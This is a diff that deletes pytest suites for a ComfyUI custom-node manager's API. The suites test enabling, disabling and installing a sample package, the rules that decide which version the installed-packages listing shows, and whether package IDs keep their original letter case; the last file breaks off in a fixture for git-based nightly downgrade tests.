||||
|
||||
# Verify first disable succeeded
|
||||
assert not package_path.exists(), "Package should be disabled after first disable"
|
||||
disabled_packages = [item for item in disabled_base.iterdir() if 'sigmoid' in item.name.lower()]
|
||||
assert len(disabled_packages) == 1, "One disabled package should exist"
|
||||
|
||||
# Second disable (duplicate)
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id="test_duplicate_disable_2",
|
||||
params={
|
||||
"node_name": TEST_PACKAGE_ID,
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(3)
|
||||
|
||||
# Verify state unchanged - still disabled
|
||||
assert not package_path.exists(), "Package should remain disabled"
|
||||
disabled_packages_after = [item for item in disabled_base.iterdir() if 'sigmoid' in item.name.lower()]
|
||||
assert len(disabled_packages_after) == 1, "Still should have one disabled package"
|
||||
|
||||
|
||||
@pytest.mark.priority_high
|
||||
def test_duplicate_enable(api_client, custom_nodes_path, setup_package_for_enable):
|
||||
"""
|
||||
Test duplicate enable operations (should skip).
|
||||
|
||||
Verifies:
|
||||
- First enable succeeds
|
||||
- Second enable on already-enabled package skips without error
|
||||
- Package state remains unchanged
|
||||
"""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
disabled_base = custom_nodes_path / ".disabled"
|
||||
|
||||
# First enable
|
||||
response = api_client.queue_task(
|
||||
kind="enable",
|
||||
ui_id="test_duplicate_enable_1",
|
||||
params={
|
||||
"cnr_id": TEST_PACKAGE_CNR_ID,
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(3)
|
||||
|
||||
# Verify first enable succeeded
|
||||
assert package_path.exists(), "Package should be enabled after first enable"
|
||||
disabled_packages = [item for item in disabled_base.iterdir() if 'sigmoid' in item.name.lower()]
|
||||
assert len(disabled_packages) == 0, "No disabled packages should exist"
|
||||
|
||||
# Second enable (duplicate)
|
||||
response = api_client.queue_task(
|
||||
kind="enable",
|
||||
ui_id="test_duplicate_enable_2",
|
||||
params={
|
||||
"cnr_id": TEST_PACKAGE_CNR_ID,
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(3)
|
||||
|
||||
# Verify state unchanged - still enabled
|
||||
assert package_path.exists(), "Package should remain enabled"
|
||||
disabled_packages_after = [item for item in disabled_base.iterdir() if 'sigmoid' in item.name.lower()]
|
||||
assert len(disabled_packages_after) == 0, "Still should have no disabled packages"
|
||||
|
||||
|
||||
@pytest.mark.priority_high
|
||||
def test_enable_disable_cycle(api_client, custom_nodes_path):
|
||||
"""
|
||||
Test complete enable/disable cycle.
|
||||
|
||||
Verifies:
|
||||
- Install → Disable → Enable → Disable works correctly
|
||||
- Marker files preserved throughout cycle
|
||||
- No orphaned packages after multiple cycles
|
||||
"""
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
disabled_base = custom_nodes_path / ".disabled"
|
||||
|
||||
# Step 1: Install CNR package
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cycle_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": TEST_PACKAGE_VERSION,
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
api_client.start_queue()
|
||||
time.sleep(8)
|
||||
|
||||
assert package_path.exists(), "Package should be installed"
|
||||
tracking_file = package_path / ".tracking"
|
||||
assert tracking_file.exists(), "CNR package should have .tracking file"
|
||||
|
||||
# Step 2: Disable
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id="test_cycle_disable_1",
|
||||
params={"node_name": TEST_PACKAGE_ID},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
api_client.start_queue()
|
||||
time.sleep(3)
|
||||
|
||||
assert not package_path.exists(), "Package should be disabled"
|
||||
|
||||
# Step 3: Enable
|
||||
response = api_client.queue_task(
|
||||
kind="enable",
|
||||
ui_id="test_cycle_enable",
|
||||
params={"cnr_id": TEST_PACKAGE_CNR_ID},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
api_client.start_queue()
|
||||
time.sleep(3)
|
||||
|
||||
assert package_path.exists(), "Package should be enabled again"
|
||||
assert tracking_file.exists(), ".tracking file should be preserved"
|
||||
|
||||
# Step 4: Disable again
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id="test_cycle_disable_2",
|
||||
params={"node_name": TEST_PACKAGE_ID},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
api_client.start_queue()
|
||||
time.sleep(3)
|
||||
|
||||
assert not package_path.exists(), "Package should be disabled again"
|
||||
|
||||
# Verify no orphaned packages
|
||||
disabled_packages = [item for item in disabled_base.iterdir() if 'sigmoid' in item.name.lower()]
|
||||
assert len(disabled_packages) == 1, f"Expected exactly 1 disabled package, found {len(disabled_packages)}"
|
||||
|
||||
# Cleanup
|
||||
import shutil
|
||||
for item in disabled_packages:
|
||||
shutil.rmtree(item)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
pytest.main([__file__, "-v", "-s"])
|
||||
@@ -1,502 +0,0 @@
|
||||
"""
|
||||
Test that /v2/customnode/installed API priority rules work correctly.
|
||||
|
||||
This test verifies that the `/v2/customnode/installed` API follows two priority rules:
|
||||
|
||||
Rule 1 (Enabled-Priority):
|
||||
- When both enabled and disabled versions exist → Show ONLY enabled version
|
||||
- Prevents frontend confusion from duplicate package entries
|
||||
|
||||
Rule 2 (CNR-Priority for disabled packages):
|
||||
- When both CNR and Nightly are disabled → Show ONLY CNR version
|
||||
- CNR stable releases take priority over development Nightly builds
|
||||
|
||||
Additional behaviors:
|
||||
1. Only returns the enabled version when both enabled and disabled versions exist
|
||||
2. Does not return duplicate entries for the same package
|
||||
3. Returns disabled version only when no enabled version exists
|
||||
4. When both are disabled, CNR version takes priority over Nightly
|
||||
"""
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
TEST_PACKAGE_ID = "ComfyUI_SigmoidOffsetScheduler"
|
||||
WAIT_TIME_SHORT = 10
|
||||
WAIT_TIME_MEDIUM = 30
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def setup_cnr_enabled_nightly_disabled(api_client, custom_nodes_path):
|
||||
"""
|
||||
Setup fixture: CNR v1.0.1 enabled, Nightly disabled.
|
||||
|
||||
This creates the scenario where both versions exist but in different states:
|
||||
- custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (CNR v1.0.1, enabled)
|
||||
- .disabled/comfyui_sigmoidoffsetscheduler@nightly/ (Nightly, disabled)
|
||||
"""
|
||||
import shutil
|
||||
|
||||
# Clean up any existing package (session fixture may have restored CNR)
|
||||
enabled_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
disabled_path = custom_nodes_path / ".disabled"
|
||||
|
||||
if enabled_path.exists():
|
||||
shutil.rmtree(enabled_path)
|
||||
|
||||
if disabled_path.exists():
|
||||
for item in disabled_path.iterdir():
|
||||
if 'sigmoid' in item.name.lower() and item.is_dir():
|
||||
shutil.rmtree(item)
|
||||
|
||||
# Install Nightly version first
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="setup_nightly_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200, f"Failed to queue Nightly install: {response.text}"
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201], f"Failed to start queue: {response.text}"
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Verify Nightly is installed and enabled
|
||||
enabled_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
assert enabled_path.exists(), "Nightly should be enabled"
|
||||
assert (enabled_path / ".git").exists(), "Nightly should have .git directory"
|
||||
|
||||
# Install CNR version (this will disable Nightly and enable CNR)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="setup_cnr_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "1.0.1",
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200, f"Failed to queue CNR install: {response.text}"
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201], f"Failed to start queue: {response.text}"
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Verify final state: CNR enabled, Nightly disabled
|
||||
assert enabled_path.exists(), "CNR should be enabled"
|
||||
assert (enabled_path / ".tracking").exists(), "CNR should have .tracking marker"
|
||||
|
||||
disabled_path = custom_nodes_path / ".disabled"
|
||||
disabled_nightly = [
|
||||
item for item in disabled_path.iterdir()
|
||||
if 'sigmoid' in item.name.lower() and (item / ".git").exists()
|
||||
]
|
||||
assert len(disabled_nightly) == 1, "Should have one disabled Nightly package"
|
||||
|
||||
yield
|
||||
|
||||
# Cleanup
|
||||
# (cleanup handled by conftest.py session fixture)
|
||||
|
||||
|
||||
def test_installed_api_shows_only_enabled_when_both_exist(
|
||||
api_client,
|
||||
server_url,
|
||||
custom_nodes_path,
|
||||
setup_cnr_enabled_nightly_disabled
|
||||
):
|
||||
"""
|
||||
Test that /installed API only shows enabled package when both versions exist.
|
||||
|
||||
Setup:
|
||||
- CNR v1.0.1 enabled in custom_nodes/ComfyUI_SigmoidOffsetScheduler/
|
||||
- Nightly disabled in .disabled/comfyui_sigmoidoffsetscheduler@nightly/
|
||||
|
||||
Expected:
|
||||
- /v2/customnode/installed returns ONLY the enabled CNR package
|
||||
- No duplicate entry for the disabled Nightly version
|
||||
- enabled: True for the CNR package
|
||||
|
||||
This prevents frontend confusion from seeing two entries for the same package.
|
||||
"""
|
||||
# Verify setup state on filesystem
|
||||
enabled_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
assert enabled_path.exists(), "CNR should be enabled"
|
||||
|
||||
disabled_path = custom_nodes_path / ".disabled"
|
||||
disabled_packages = [
|
||||
item for item in disabled_path.iterdir()
|
||||
if 'sigmoid' in item.name.lower() and item.is_dir()
|
||||
]
|
||||
assert len(disabled_packages) > 0, "Should have at least one disabled package"
|
||||
|
||||
# Call /v2/customnode/installed API
|
||||
response = requests.get(f"{server_url}/v2/customnode/installed")
|
||||
assert response.status_code == 200, f"API call failed: {response.text}"
|
||||
|
||||
installed = response.json()
|
||||
|
||||
# Find all entries for our test package
|
||||
sigmoid_entries = [
|
||||
(key, info) for key, info in installed.items()
|
||||
if 'sigmoid' in key.lower() or 'sigmoid' in info.get('cnr_id', '').lower()
|
||||
]
|
||||
|
||||
# Critical assertion: Should have EXACTLY ONE entry, not two
|
||||
assert len(sigmoid_entries) == 1, (
|
||||
f"Expected exactly 1 entry in /installed API, but found {len(sigmoid_entries)}. "
|
||||
f"This causes frontend confusion. Entries: {sigmoid_entries}"
|
||||
)
|
||||
|
||||
# Verify the single entry is the enabled one
|
||||
package_key, package_info = sigmoid_entries[0]
|
||||
assert package_info['enabled'] is True, (
|
||||
f"The single entry should be enabled=True, got: {package_info}"
|
||||
)
|
||||
|
||||
# Verify it's the CNR version (has version number)
|
||||
assert package_info['ver'].count('.') >= 2, (
|
||||
f"Should be CNR version with semantic version, got: {package_info['ver']}"
|
||||
)
|
||||
|
||||
|
||||
def test_installed_api_shows_disabled_when_no_enabled_exists(
|
||||
api_client,
|
||||
server_url,
|
||||
custom_nodes_path
|
||||
):
|
||||
"""
|
||||
Test that /installed API shows disabled package when no enabled version exists.
|
||||
|
||||
Setup:
|
||||
- Install and then disable a package (no other version exists)
|
||||
|
||||
Expected:
|
||||
- /v2/customnode/installed returns the disabled package
|
||||
- enabled: False
|
||||
- Only one entry for the package
|
||||
|
||||
This verifies that disabled packages are still visible when they're the only version.
|
||||
"""
|
||||
# Install CNR version
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_disabled_only_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "1.0.1",
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Disable it
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id="test_disabled_only_disable",
|
||||
params={"node_name": TEST_PACKAGE_ID},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Verify it's disabled on filesystem
|
||||
enabled_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
assert not enabled_path.exists(), "Package should be disabled"
|
||||
|
||||
disabled_path = custom_nodes_path / ".disabled"
|
||||
disabled_packages = [
|
||||
item for item in disabled_path.iterdir()
|
||||
if 'sigmoid' in item.name.lower() and item.is_dir()
|
||||
]
|
||||
assert len(disabled_packages) > 0, "Should have disabled package"
|
||||
|
||||
# Call /v2/customnode/installed API
|
||||
response = requests.get(f"{server_url}/v2/customnode/installed")
|
||||
assert response.status_code == 200
|
||||
|
||||
installed = response.json()
|
||||
|
||||
# Find entry for our test package
|
||||
sigmoid_entries = [
|
||||
(key, info) for key, info in installed.items()
|
||||
if 'sigmoid' in key.lower() or 'sigmoid' in info.get('cnr_id', '').lower()
|
||||
]
|
||||
|
||||
# Should have exactly one entry (the disabled one)
|
||||
assert len(sigmoid_entries) == 1, (
|
||||
f"Expected exactly 1 entry for disabled-only package, found {len(sigmoid_entries)}"
|
||||
)
|
||||
|
||||
# Verify it's marked as disabled
|
||||
package_key, package_info = sigmoid_entries[0]
|
||||
assert package_info['enabled'] is False, (
|
||||
f"Package should be disabled, got: {package_info}"
|
||||
)
|
||||
|
||||
# Cleanup: Re-enable package for other tests
|
||||
response = api_client.queue_task(
|
||||
kind="enable",
|
||||
ui_id="test_disabled_only_cleanup",
|
||||
params={"cnr_id": TEST_PACKAGE_ID},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_SHORT)
|
||||
|
||||
|
||||
def test_installed_api_no_duplicates_across_scenarios(
|
||||
api_client,
|
||||
server_url,
|
||||
custom_nodes_path
|
||||
):
|
||||
"""
|
||||
Test that /installed API never returns duplicate entries regardless of scenario.
|
||||
|
||||
This test cycles through multiple scenarios:
|
||||
1. CNR enabled only
|
||||
2. CNR enabled + Nightly disabled
|
||||
3. Nightly enabled + CNR disabled
|
||||
4. Both disabled
|
||||
|
||||
In all cases, the API should return at most ONE entry per unique package.
|
||||
"""
|
||||
scenarios = [
|
||||
("cnr_only", "CNR enabled only"),
|
||||
("cnr_enabled_nightly_disabled", "CNR enabled + Nightly disabled"),
|
||||
("nightly_enabled_cnr_disabled", "Nightly enabled + CNR disabled"),
|
||||
]
|
||||
|
||||
for scenario_id, scenario_desc in scenarios:
|
||||
# Setup scenario
|
||||
if scenario_id == "cnr_only":
|
||||
# Install CNR only
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id=f"test_{scenario_id}_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "1.0.1",
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
elif scenario_id == "cnr_enabled_nightly_disabled":
|
||||
# Install Nightly (this auto-disables CNR), then disable Nightly, then enable CNR
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id=f"test_{scenario_id}_nightly",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Disable Nightly
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id=f"test_{scenario_id}_disable_nightly",
|
||||
params={"node_name": TEST_PACKAGE_ID},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Re-enable CNR (which was auto-disabled when Nightly was installed)
|
||||
response = api_client.queue_task(
|
||||
kind="enable",
|
||||
ui_id=f"test_{scenario_id}_enable_cnr",
|
||||
params={"cnr_id": TEST_PACKAGE_ID},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
elif scenario_id == "nightly_enabled_cnr_disabled":
|
||||
# CNR should already be disabled from previous scenario
|
||||
# Enable Nightly (install if not exists)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id=f"test_{scenario_id}_nightly",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Call API and verify no duplicates
|
||||
response = requests.get(f"{server_url}/v2/customnode/installed")
|
||||
assert response.status_code == 200, f"API call failed for {scenario_desc}"
|
||||
|
||||
installed = response.json()
|
||||
|
||||
sigmoid_entries = [
|
||||
(key, info) for key, info in installed.items()
|
||||
if 'sigmoid' in key.lower() or 'sigmoid' in info.get('cnr_id', '').lower()
|
||||
]
|
||||
|
||||
# Critical: Should never have more than one entry
|
||||
assert len(sigmoid_entries) <= 1, (
|
||||
f"Scenario '{scenario_desc}': Expected at most 1 entry, found {len(sigmoid_entries)}. "
|
||||
f"Entries: {sigmoid_entries}"
|
||||
)
|
||||
|
||||
if len(sigmoid_entries) == 1:
|
||||
package_key, package_info = sigmoid_entries[0]
|
||||
# If entry exists, it should be enabled=True
|
||||
# (disabled-only case is covered in separate test)
|
||||
if scenario_id != "all_disabled":
|
||||
assert package_info['enabled'] is True, (
|
||||
f"Scenario '{scenario_desc}': Entry should be enabled=True, got: {package_info}"
|
||||
)
|
||||
|
||||
|
||||
def test_installed_api_cnr_priority_when_both_disabled(
|
||||
api_client,
|
||||
server_url,
|
||||
custom_nodes_path
|
||||
):
|
||||
"""
|
||||
Test Rule 2 (CNR-Priority): When both CNR and Nightly are disabled, show ONLY CNR.
|
||||
|
||||
Setup:
|
||||
- Install CNR v1.0.1 and disable it
|
||||
- Install Nightly and disable it
|
||||
- Both versions exist in .disabled/ directory
|
||||
|
||||
Expected:
|
||||
- /v2/customnode/installed returns ONLY the CNR version
|
||||
- CNR version has enabled: False
|
||||
- Nightly version is NOT in the response
|
||||
- This prevents confusion and prioritizes stable releases over dev builds
|
||||
|
||||
Rationale:
|
||||
CNR versions are stable releases and should be preferred over development
|
||||
Nightly builds when both are inactive. This gives users clear indication
|
||||
of which version would be activated if they choose to enable.
|
||||
"""
|
||||
# Install CNR version first
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cnr_priority_cnr_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "1.0.1",
|
||||
"selected_version": "latest",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Install Nightly (this will disable CNR)
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="test_cnr_priority_nightly_install",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Disable Nightly (now both are disabled)
|
||||
response = api_client.queue_task(
|
||||
kind="disable",
|
||||
ui_id="test_cnr_priority_nightly_disable",
|
||||
params={"node_name": TEST_PACKAGE_ID},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
response = api_client.start_queue()
|
||||
assert response.status_code in [200, 201]
|
||||
time.sleep(WAIT_TIME_MEDIUM)
|
||||
|
||||
# Verify filesystem state: both should be in .disabled/
|
||||
disabled_path = custom_nodes_path / ".disabled"
|
||||
disabled_packages = [
|
||||
item for item in disabled_path.iterdir()
|
||||
if 'sigmoid' in item.name.lower() and item.is_dir()
|
||||
]
|
||||
|
||||
# Should have both CNR and Nightly in .disabled/
|
||||
cnr_disabled = [p for p in disabled_packages if (p / ".tracking").exists()]
|
||||
nightly_disabled = [p for p in disabled_packages if (p / ".git").exists()]
|
||||
|
||||
assert len(cnr_disabled) >= 1, f"Should have disabled CNR package, found: {[p.name for p in disabled_packages]}"
|
||||
assert len(nightly_disabled) >= 1, f"Should have disabled Nightly package, found: {[p.name for p in disabled_packages]}"
|
||||
|
||||
# Call /v2/customnode/installed API
|
||||
response = requests.get(f"{server_url}/v2/customnode/installed")
|
||||
assert response.status_code == 200
|
||||
|
||||
installed = response.json()
|
||||
|
||||
# Find all entries for our test package
|
||||
sigmoid_entries = [
|
||||
(key, info) for key, info in installed.items()
|
||||
if 'sigmoid' in key.lower() or 'sigmoid' in info.get('cnr_id', '').lower()
|
||||
]
|
||||
|
||||
# Critical assertion: Should have EXACTLY ONE entry (CNR), not two
|
||||
assert len(sigmoid_entries) == 1, (
|
||||
f"Rule 2 (CNR-Priority) violated: Expected exactly 1 entry (CNR only), "
|
||||
f"but found {len(sigmoid_entries)}. Entries: {sigmoid_entries}"
|
||||
)
|
||||
|
||||
# Verify the single entry is the CNR version
|
||||
package_key, package_info = sigmoid_entries[0]
|
||||
|
||||
# Should be disabled
|
||||
assert package_info['enabled'] is False, (
|
||||
f"Package should be disabled, got: {package_info}"
|
||||
)
|
||||
|
||||
# Should have cnr_id (CNR packages have cnr_id, Nightly has empty cnr_id)
|
||||
assert package_info.get('cnr_id'), (
|
||||
f"Should be CNR package with cnr_id, got: {package_info}"
|
||||
)
|
||||
|
||||
# Should have null aux_id (CNR packages have aux_id=null, Nightly has aux_id set)
|
||||
assert package_info.get('aux_id') is None, (
|
||||
f"Should be CNR package with aux_id=null, got: {package_info}"
|
||||
)
|
||||
|
||||
# Should have semantic version (CNR uses semver, Nightly uses git hash)
|
||||
ver = package_info['ver']
|
||||
assert ver.count('.') >= 2 or ver[0].isdigit(), (
|
||||
f"Should be CNR with semantic version, got: {ver}"
|
||||
)
|
||||
@@ -1,106 +0,0 @@
|
||||
"""
|
||||
Test that /installed API preserves original case in cnr_id.
|
||||
|
||||
This test verifies that the `/v2/customnode/installed` API:
|
||||
1. Returns cnr_id with original case (e.g., "ComfyUI_SigmoidOffsetScheduler")
|
||||
2. Does NOT include an "original_name" field
|
||||
3. Maintains frontend compatibility with PyPI baseline
|
||||
|
||||
This matches the PyPI 4.0.3b1 baseline behavior.
|
||||
"""
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
def test_installed_api_preserves_original_case(server_url):
|
||||
"""Test that /installed API returns cnr_id with original case."""
|
||||
response = requests.get(f"{server_url}/v2/customnode/installed")
|
||||
assert response.status_code == 200
|
||||
|
||||
installed = response.json()
|
||||
assert len(installed) > 0, "Should have at least one installed package"
|
||||
|
||||
# Check each installed package
|
||||
for package_key, package_info in installed.items():
|
||||
# Verify cnr_id field exists
|
||||
assert 'cnr_id' in package_info, f"Package {package_key} should have cnr_id field"
|
||||
|
||||
cnr_id = package_info['cnr_id']
|
||||
|
||||
# Verify cnr_id preserves original case (contains uppercase letters)
|
||||
# For ComfyUI_SigmoidOffsetScheduler, it should NOT be all lowercase
|
||||
if 'comfyui' in cnr_id.lower():
|
||||
# If it contains "comfyui", it should have uppercase letters
|
||||
assert cnr_id != cnr_id.lower(), \
|
||||
f"cnr_id '{cnr_id}' should preserve original case, not be normalized to lowercase"
|
||||
|
||||
# Verify no original_name field in response (PyPI baseline)
|
||||
assert 'original_name' not in package_info, \
|
||||
f"Package {package_key} should NOT have original_name field for frontend compatibility"
|
||||
|
||||
|
||||
def test_cnr_package_original_case(server_url):
|
||||
"""Test specifically that CNR packages preserve original case."""
|
||||
response = requests.get(f"{server_url}/v2/customnode/installed")
|
||||
assert response.status_code == 200
|
||||
|
||||
installed = response.json()
|
||||
|
||||
# Find a CNR package (has version like "1.0.1")
|
||||
cnr_packages = {k: v for k, v in installed.items()
|
||||
if v.get('ver', '').count('.') >= 2}
|
||||
|
||||
assert len(cnr_packages) > 0, "Should have at least one CNR package for testing"
|
||||
|
||||
for package_key, package_info in cnr_packages.items():
|
||||
cnr_id = package_info['cnr_id']
|
||||
|
||||
# CNR packages should have original case preserved
|
||||
# Example: "ComfyUI_SigmoidOffsetScheduler" not "comfyui_sigmoidoffsetscheduler"
|
||||
assert any(c.isupper() for c in cnr_id), \
|
||||
f"CNR package cnr_id '{cnr_id}' should contain uppercase letters"
|
||||
|
||||
|
||||
def test_nightly_package_original_case(server_url):
|
||||
"""Test specifically that Nightly packages preserve original case."""
|
||||
response = requests.get(f"{server_url}/v2/customnode/installed")
|
||||
assert response.status_code == 200
|
||||
|
||||
installed = response.json()
|
||||
|
||||
# Find a Nightly package (key contains "@nightly")
|
||||
nightly_packages = {k: v for k, v in installed.items() if '@nightly' in k}
|
||||
|
||||
if len(nightly_packages) == 0:
|
||||
# No nightly packages installed, skip test
|
||||
return
|
||||
|
||||
for package_key, package_info in nightly_packages.items():
|
||||
cnr_id = package_info['cnr_id']
|
||||
|
||||
# Nightly packages should also have original case preserved
|
||||
# Example: "ComfyUI_SigmoidOffsetScheduler" not "comfyui_sigmoidoffsetscheduler"
|
||||
assert any(c.isupper() for c in cnr_id), \
|
||||
f"Nightly package cnr_id '{cnr_id}' should contain uppercase letters"
|
||||
|
||||
|
||||
def test_api_response_structure_matches_pypi(server_url):
|
||||
"""Test that API response structure matches PyPI 4.0.3b1 baseline."""
|
||||
response = requests.get(f"{server_url}/v2/customnode/installed")
|
||||
assert response.status_code == 200
|
||||
|
||||
installed = response.json()
|
||||
|
||||
# Skip test if no packages installed (may happen in parallel environments)
|
||||
if len(installed) == 0:
|
||||
pytest.skip("No packages installed - skipping structure validation test")
|
||||
|
||||
# Check first package structure
|
||||
first_package = next(iter(installed.values()))
|
||||
|
||||
# Required fields from PyPI baseline
|
||||
required_fields = {'ver', 'cnr_id', 'aux_id', 'enabled'}
|
||||
actual_fields = set(first_package.keys())
|
||||
|
||||
assert required_fields == actual_fields, \
|
||||
f"API response fields should match PyPI baseline: {required_fields}, got: {actual_fields}"
|
||||
@@ -1,713 +0,0 @@
|
||||
"""
|
||||
Test cases for Nightly version downgrade and upgrade cycle.
|
||||
|
||||
Tests nightly package downgrade via git reset and subsequent upgrade via git pull.
|
||||
This validates that update operations can recover from intentionally downgraded versions.
|
||||
"""
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# TEST CONFIGURATION - Easy to modify for different packages
|
||||
# ============================================================================
|
||||
|
||||
# Test package configuration
|
||||
TEST_PACKAGE_ID = "ComfyUI_SigmoidOffsetScheduler"
|
||||
TEST_PACKAGE_CNR_ID = "comfyui_sigmoidoffsetscheduler"
|
||||
|
||||
# First commit SHA for reset tests
|
||||
# This is the commit where untracked file conflicts occur after reset
|
||||
# Update this if testing with a different package or commit history
|
||||
FIRST_COMMIT_SHA = "b0eb1539f1de" # ComfyUI_SigmoidOffsetScheduler initial commit
|
||||
|
||||
# Alternative packages you can test with:
|
||||
# Uncomment and modify as needed:
|
||||
#
|
||||
# TEST_PACKAGE_ID = "ComfyUI_Example_Package"
|
||||
# TEST_PACKAGE_CNR_ID = "comfyui_example_package"
|
||||
# FIRST_COMMIT_SHA = "abc1234567" # Your package's first commit
|
||||
#
|
||||
# To find your package's first commit:
|
||||
# cd custom_nodes/YourPackage
|
||||
# git rev-list --max-parents=0 HEAD
|
||||
|
||||
# ============================================================================
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def setup_nightly_package(api_client, custom_nodes_path):
|
||||
"""Install Nightly version and ensure it has commit history."""
|
||||
# Install Nightly version
|
||||
response = api_client.queue_task(
|
||||
kind="install",
|
||||
ui_id="setup_nightly_downgrade",
|
||||
params={
|
||||
"id": TEST_PACKAGE_ID,
|
||||
"version": "nightly",
|
||||
"selected_version": "nightly",
|
||||
},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
api_client.start_queue()
|
||||
time.sleep(10)
|
||||
|
||||
# Verify Nightly installed
|
||||
package_path = custom_nodes_path / TEST_PACKAGE_ID
|
||||
assert package_path.exists(), "Nightly version should be installed"
|
||||
|
||||
git_dir = package_path / ".git"
|
||||
assert git_dir.exists(), "Nightly package should have .git directory"
|
||||
|
||||
# Verify git repository has commits
|
||||
result = subprocess.run(
|
||||
["git", "rev-list", "--count", "HEAD"],
|
||||
cwd=package_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
commit_count = int(result.stdout.strip())
|
||||
assert commit_count > 0, "Git repository should have commit history"
|
||||
|
||||
